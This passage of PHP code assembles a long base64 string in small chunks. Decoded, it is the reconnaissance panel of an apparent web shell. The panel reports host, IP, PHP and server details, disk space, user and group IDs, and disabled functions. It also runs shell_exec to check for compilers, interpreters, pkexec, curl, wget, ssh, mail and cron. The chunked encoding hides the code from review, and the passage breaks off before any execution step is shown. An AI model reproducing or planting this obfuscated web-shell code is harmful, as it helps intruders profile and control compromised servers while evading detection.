$z .= "bWFp";
$z .= "bkNv";
$z .= "dW50";
$z .= "ID0g";
$z .= "QGNv";
$z .= "dW50";
$z .= "RG9t";
$z .= "YWlu";
$z .= "c0lu";
$z .= "U2Vy";
$z .= "dmVy";
$z .= "KCk7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "IGZv";
$z .= "cm1h";
$z .= "dEJ5";
$z .= "dGVz";
$z .= "KCRi";
$z .= "eXRl";
$z .= "cywg";
$z .= "JHBy";
$z .= "ZWNp";
$z .= "c2lv";
$z .= "biA9";
$z .= "IDIp";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JHVu";
$z .= "aXRz";
$z .= "ID0g";
$z .= "YXJy";
$z .= "YXko";
$z .= "J0In";
$z .= "LCAn";
$z .= "S0In";
$z .= "LCAn";
$z .= "TUIn";
$z .= "LCAn";
$z .= "R0In";
$z .= "LCAn";
$z .= "VEIn";
$z .= "KTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRi";
$z .= "eXRl";
$z .= "cyA9";
$z .= "IG1h";
$z .= "eCgk";
$z .= "Ynl0";
$z .= "ZXMs";
$z .= "IDAp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRw";
$z .= "b3cg";
$z .= "PSBm";
$z .= "bG9v";
$z .= "cigo";
$z .= "JGJ5";
$z .= "dGVz";
$z .= "ID8g";
$z .= "bG9n";
$z .= "KCRi";
$z .= "eXRl";
$z .= "cykg";
$z .= "OiAw";
$z .= "KSAv";
$z .= "IGxv";
$z .= "Zygx";
$z .= "MDI0";
$z .= "KSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JHBv";
$z .= "dyA9";
$z .= "IG1p";
$z .= "bigk";
$z .= "cG93";
$z .= "LCBj";
$z .= "b3Vu";
$z .= "dCgk";
$z .= "dW5p";
$z .= "dHMp";
$z .= "IC0g";
$z .= "MSk7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "Ynl0";
$z .= "ZXMg";
$z .= "Lz0g";
$z .= "KDEg";
$z .= "PDwg";
$z .= "KDEw";
$z .= "ICog";
$z .= "JHBv";
$z .= "dykp";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "IHJv";
$z .= "dW5k";
$z .= "KCRi";
$z .= "eXRl";
$z .= "cywg";
$z .= "JHBy";
$z .= "ZWNp";
$z .= "c2lv";
$z .= "bikg";
$z .= "LiAn";
$z .= "ICcg";
$z .= "LiAk";
$z .= "dW5p";
$z .= "dHNb";
$z .= "JHBv";
$z .= "d107";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA/";
$z .= "Pg0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "dWwg";
$z .= "Y2xh";
$z .= "c3M9";
$z .= "Imlu";
$z .= "Zm8t";
$z .= "bGlz";
$z .= "dCI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PGxp";
$z .= "Pkhv";
$z .= "c3Ru";
$z .= "YW1l";
$z .= "OiA8";
$z .= "P3Bo";
$z .= "cCBl";
$z .= "Y2hv";
$z .= "IEBn";
$z .= "ZXRo";
$z .= "b3N0";
$z .= "bmFt";
$z .= "ZSgp";
$z .= "OyA/";
$z .= "Pjwv";
$z .= "bGk+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PD9w";
$z .= "aHAg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "c2V0";
$z .= "KCRf";
$z .= "U0VS";
$z .= "VkVS";
$z .= "WydT";
$z .= "RVJW";
$z .= "RVJf";
$z .= "QURE";
$z .= "Uidd";
$z .= "KSkg";
$z .= "OiA/";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "bGk+";
$z .= "SVAg";
$z .= "QWRk";
$z .= "cmVz";
$z .= "czog";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byAk";
$z .= "X1NF";
$z .= "UlZF";
$z .= "Ulsn";
$z .= "U0VS";
$z .= "VkVS";
$z .= "X0FE";
$z .= "RFIn";
$z .= "XTsg";
$z .= "Pz48";
$z .= "L2xp";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDw/";
$z .= "cGhw";
$z .= "IGVu";
$z .= "ZGlm";
$z .= "OyA/";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDxs";
$z .= "aT5Q";
$z .= "SFAg";
$z .= "VmVy";
$z .= "c2lv";
$z .= "bjog";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byBA";
$z .= "cGhw";
$z .= "dmVy";
$z .= "c2lv";
$z .= "bigp";
$z .= "OyA/";
$z .= "Pjwv";
$z .= "bGk+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PGxp";
$z .= "PlNl";
$z .= "cnZl";
$z .= "ciBT";
$z .= "b2Z0";
$z .= "d2Fy";
$z .= "ZTog";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byAk";
$z .= "X1NF";
$z .= "UlZF";
$z .= "Ulsn";
$z .= "U0VS";
$z .= "VkVS";
$z .= "X1NP";
$z .= "RlRX";
$z .= "QVJF";
$z .= "J107";
$z .= "ID8+";
$z .= "PC9s";
$z .= "aT4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "P3Bo";
$z .= "cCBp";
$z .= "ZiAo";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b25f";
$z .= "ZXhp";
$z .= "c3Rz";
$z .= "KCdk";
$z .= "aXNr";
$z .= "X3Rv";
$z .= "dGFs";
$z .= "X3Nw";
$z .= "YWNl";
$z .= "Jykp";
$z .= "IDog";
$z .= "Pz4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PGxp";
$z .= "PkhE";
$z .= "RCBU";
$z .= "b3Rh";
$z .= "bCBT";
$z .= "cGFj";
$z .= "ZTog";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byBA";
$z .= "Zm9y";
$z .= "bWF0";
$z .= "Qnl0";
$z .= "ZXMo";
$z .= "ZGlz";
$z .= "a190";
$z .= "b3Rh";
$z .= "bF9z";
$z .= "cGFj";
$z .= "ZSgn";
$z .= "Lycp";
$z .= "KTsg";
$z .= "Pz48";
$z .= "L2xp";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "bGk+";
$z .= "SERE";
$z .= "IEZy";
$z .= "ZWUg";
$z .= "U3Bh";
$z .= "Y2U6";
$z .= "IDw/";
$z .= "cGhw";
$z .= "IGVj";
$z .= "aG8g";
$z .= "QGZv";
$z .= "cm1h";
$z .= "dEJ5";
$z .= "dGVz";
$z .= "KGRp";
$z .= "c2tf";
$z .= "ZnJl";
$z .= "ZV9z";
$z .= "cGFj";
$z .= "ZSgn";
$z .= "Lycp";
$z .= "KTsg";
$z .= "Pz48";
$z .= "L2xp";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDw/";
$z .= "cGhw";
$z .= "IGVu";
$z .= "ZGlm";
$z .= "OyA/";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDxs";
$z .= "aT5U";
$z .= "b3Rh";
$z .= "bCBE";
$z .= "b21h";
$z .= "aW5z";
$z .= "IGlu";
$z .= "IFNl";
$z .= "cnZl";
$z .= "cjog";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byAk";
$z .= "ZG9t";
$z .= "YWlu";
$z .= "Q291";
$z .= "bnQ7";
$z .= "ID8+";
$z .= "PC9s";
$z .= "aT4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "bGk+";
$z .= "U3lz";
$z .= "dGVt";
$z .= "OiA8";
$z .= "P3Bo";
$z .= "cCBl";
$z .= "Y2hv";
$z .= "IEBw";
$z .= "aHBf";
$z .= "dW5h";
$z .= "bWUo";
$z .= "KTsg";
$z .= "Pz48";
$z .= "L2xp";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC91";
$z .= "bD4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC9k";
$z .= "aXY+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IA0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDxk";
$z .= "aXYg";
$z .= "Y2xh";
$z .= "c3M9";
$z .= "Imlu";
$z .= "Zm8t";
$z .= "Y29u";
$z .= "dGFp";
$z .= "bmVy";
$z .= "Ij4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDxo";
$z .= "Mj5T";
$z .= "eXN0";
$z .= "ZW0g";
$z .= "SW5m";
$z .= "bzwv";
$z .= "aDI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "dWwg";
$z .= "Y2xh";
$z .= "c3M9";
$z .= "Imlu";
$z .= "Zm8t";
$z .= "bGlz";
$z .= "dCI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PD9w";
$z .= "aHAN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZmVh";
$z .= "dHVy";
$z .= "ZXMg";
$z .= "PSBb";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdT";
$z .= "YWZl";
$z .= "IE1v";
$z .= "ZGUn";
$z .= "ID0+";
$z .= "IEBp";
$z .= "bmlf";
$z .= "Z2V0";
$z .= "KCdz";
$z .= "YWZl";
$z .= "X21v";
$z .= "ZGUn";
$z .= "KSA/";
$z .= "ICdF";
$z .= "bmFi";
$z .= "bGVk";
$z .= "JyA6";
$z .= "ICdE";
$z .= "aXNh";
$z .= "Ymxl";
$z .= "ZCcs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdE";
$z .= "aXNh";
$z .= "Ymxl";
$z .= "IEZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "cycg";
$z .= "PT4g";
$z .= "QGlu";
$z .= "aV9n";
$z .= "ZXQo";
$z .= "J2Rp";
$z .= "c2Fi";
$z .= "bGVf";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b25z";
$z .= "Jyks";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdH";
$z .= "Q0Mn";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdn";
$z .= "Y2Mg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdQ";
$z .= "ZXJs";
$z .= "JyA9";
$z .= "PiBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J3No";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMn";
$z .= "KSAm";
$z .= "JiBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "cGVy";
$z .= "bCAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSA/";
$z .= "ICdP";
$z .= "bicg";
$z .= "OiAn";
$z .= "T2Zm";
$z .= "JywN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J1B5";
$z .= "dGhv";
$z .= "biBW";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "JyA9";
$z .= "PiAo";
$z .= "JHB5";
$z .= "dGhv";
$z .= "blZl";
$z .= "cnNp";
$z .= "b24g";
$z .= "PSBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "cHl0";
$z .= "aG9u";
$z .= "IC0t";
$z .= "dmVy";
$z .= "c2lv";
$z .= "bicp";
$z .= "KSA/";
$z .= "ICdP";
$z .= "biAo";
$z .= "JyAu";
$z .= "ICRw";
$z .= "eXRo";
$z .= "b25W";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "IC4g";
$z .= "Jykn";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdQ";
$z .= "S0VY";
$z .= "RUMg";
$z .= "VmVy";
$z .= "c2lv";
$z .= "bicg";
$z .= "PT4g";
$z .= "KCRw";
$z .= "a2V4";
$z .= "ZWNW";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "ID0g";
$z .= "QHNo";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMo";
$z .= "J3Br";
$z .= "ZXhl";
$z .= "YyAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSkg";
$z .= "PyAn";
$z .= "T24g";
$z .= "KCcg";
$z .= "LiAk";
$z .= "cGtl";
$z .= "eGVj";
$z .= "VmVy";
$z .= "c2lv";
$z .= "biAu";
$z .= "ICcp";
$z .= "JyA6";
$z .= "ICdP";
$z .= "ZmYn";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAn";
$z .= "Q3Vy";
$z .= "bCcg";
$z .= "PT4g";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b25f";
$z .= "ZXhp";
$z .= "c3Rz";
$z .= "KCdz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "Jykg";
$z .= "JiYg";
$z .= "QHNo";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMo";
$z .= "J2N1";
$z .= "cmwg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdX";
$z .= "Z2V0";
$z .= "JyA9";
$z .= "PiBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J3No";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMn";
$z .= "KSAm";
$z .= "JiBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "d2dl";
$z .= "dCAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSA/";
$z .= "ICdP";
$z .= "bicg";
$z .= "OiAn";
$z .= "T2Zm";
$z .= "JywN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J015";
$z .= "c3Fs";
$z .= "JyA9";
$z .= "PiBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J3No";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMn";
$z .= "KSAm";
$z .= "JiBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "bXlz";
$z .= "cWwg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdG";
$z .= "dHAn";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdm";
$z .= "dHAg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdT";
$z .= "c2gn";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdz";
$z .= "c2gg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdN";
$z .= "YWls";
$z .= "JyA9";
$z .= "PiBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J3No";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMn";
$z .= "KSAm";
$z .= "JiBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "bWFp";
$z .= "bCAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSA/";
$z .= "ICdP";
$z .= "bicg";
$z .= "OiAn";
$z .= "T2Zm";
$z .= "JywN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J2Ny";
$z .= "b24n";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdj";
$z .= "cm9u";
$z .= "IC0t";
$z .= "dmVy";
$z .= "c2lv";
$z .= "bicp";
$z .= "ID8g";
$z .= "J09u";
$z .= "JyA6";
$z .= "ICdP";
$z .= "ZmYn";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAn";
$z .= "U2Vu";
$z .= "ZE1h";
$z .= "aWwn";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdz";
$z .= "ZW5k";
$z .= "bWFp";
$z .= "bCAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSA/";
$z .= "ICdP";
$z .= "bicg";
$z .= "OiAn";
$z .= "T2Zm";
$z .= "JywN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBd";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ID8+";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "bGFi";
$z .= "ZWwg";
$z .= "Zm9y";
$z .= "PSJm";
$z .= "ZWF0";
$z .= "dXJl";
$z .= "LXNl";
$z .= "bGVj";
$z .= "dCI+";
$z .= "U2Vs";
$z .= "ZWN0";
$z .= "IEZl";
$z .= "YXR1";
$z .= "cmU6";
$z .= "PC9s";
$z .= "YWJl";
$z .= "bD4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "c2Vs";
$z .= "ZWN0";
$z .= "IGlk";
$z .= "PSJm";
$z .= "ZWF0";
$z .= "dXJl";
$z .= "LXNl";
$z .= "bGVj";
$z .= "dCI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDw/";
$z .= "cGhw";
$z .= "IGZv";
$z .= "cmVh";
$z .= "Y2gg";
$z .= "KCRm";
$z .= "ZWF0";
$z .= "dXJl";
$z .= "cyBh";
$z .= "cyAk";
$z .= "ZmVh";
$z .= "dHVy";
$z .= "ZSA9";
$z .= "PiAk";
$z .= "c3Rh";
$z .= "dHVz";
$z .= "KSA6";
$z .= "ID8+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "b3B0";
$z .= "aW9u";
$z .= "IHZh";
$z .= "bHVl";
$z .= "PSI8";
$z .= "P3Bo";
$z .= "cCBl";
$z .= "Y2hv";
$z .= "ICRm";
$z .= "ZWF0";
$z .= "dXJl";
$z .= "OyA/";
$z .= "PiI+";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byAk";
$z .= "ZmVh";
$z .= "dHVy";
$z .= "ZSAu";
$z .= "ICc6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "c3Rh";
$z .= "dHVz";
$z .= "OyA/";
$z .= "Pjwv";
$z .= "b3B0";
$z .= "aW9u";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "P3Bo";
$z .= "cCBl";
$z .= "bmRm";
$z .= "b3Jl";
$z .= "YWNo";
$z .= "OyA/";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDwv";
$z .= "c2Vs";
$z .= "ZWN0";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC91";
$z .= "bD4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC9k";
$z .= "aXY+";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PGRp";
$z .= "diBj";
$z .= "bGFz";
$z .= "cz0i";
$z .= "aW5m";
$z .= "by1j";
$z .= "b250";
$z .= "YWlu";
$z .= "ZXIi";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PGgy";
$z .= "PlVz";
$z .= "ZXIg";
$z .= "SW5m";
$z .= "bzwv";
$z .= "aDI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "dWwg";
$z .= "Y2xh";
$z .= "c3M9";
$z .= "Imlu";
$z .= "Zm8t";
$z .= "bGlz";
$z .= "dCI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PGxp";
$z .= "PlVz";
$z .= "ZXJu";
$z .= "YW1l";
$z .= "OiA8";
$z .= "P3Bo";
$z .= "cCBl";
$z .= "Y2hv";
$z .= "IEBn";
$z .= "ZXRf";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dF91";
$z .= "c2Vy";
$z .= "KCk7";
$z .= "ID8+";
$z .= "PC9s";
$z .= "aT4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "bGk+";
$z .= "VXNl";
$z .= "ciBJ";
$z .= "RDog";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byBA";
$z .= "Z2V0";
$z .= "bXl1";
$z .= "aWQo";
$z .= "KTsg";
$z .= "Pz48";
$z .= "L2xp";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDxs";
$z .= "aT5H";
$z .= "cm91";
$z .= "cCBJ";
$z .= "RDog";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byBA";
$z .= "Z2V0";
$z .= "bXln";
$z .= "aWQo";
$z .= "KTsg";
$z .= "Pz48";
$z .= "L2xp";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC91";
$z .= "bD4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC9k";
$z .= "aXY+";
$z .= "DQog";
$z .= "ICAg";
$z .= "PC9k";
$z .= "aXY+";
$z .= "DQo8";
$z .= "L2Rp";
$z .= "dj4N";
$z .= "CiAg";
$z .= "ICA8";
$z .= "c2Ny";
$z .= "aXB0";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biB0";
$z .= "b2dn";
$z .= "bGVP";
$z .= "cHRp";
$z .= "b25z";
$z .= "TWVu";
$z .= "dSgp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHZh";
$z .= "ciBv";
$z .= "cHRp";
$z .= "b25z";
$z .= "TWVu";
$z .= "dSA9";
$z .= "IGRv";
$z .= "Y3Vt";
$z .= "ZW50";
$z .= "Lmdl";
$z .= "dEVs";
$z .= "ZW1l";
$z .= "bnRC";
$z .= "eUlk";
$z .= "KCdv";
$z .= "cHRp";
$z .= "b25z";
$z .= "TWVu";
$z .= "dScp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "b3B0";
$z .= "aW9u";
$z .= "c01l";
$z .= "bnUu";
$z .= "Y2xh";
$z .= "c3NM";
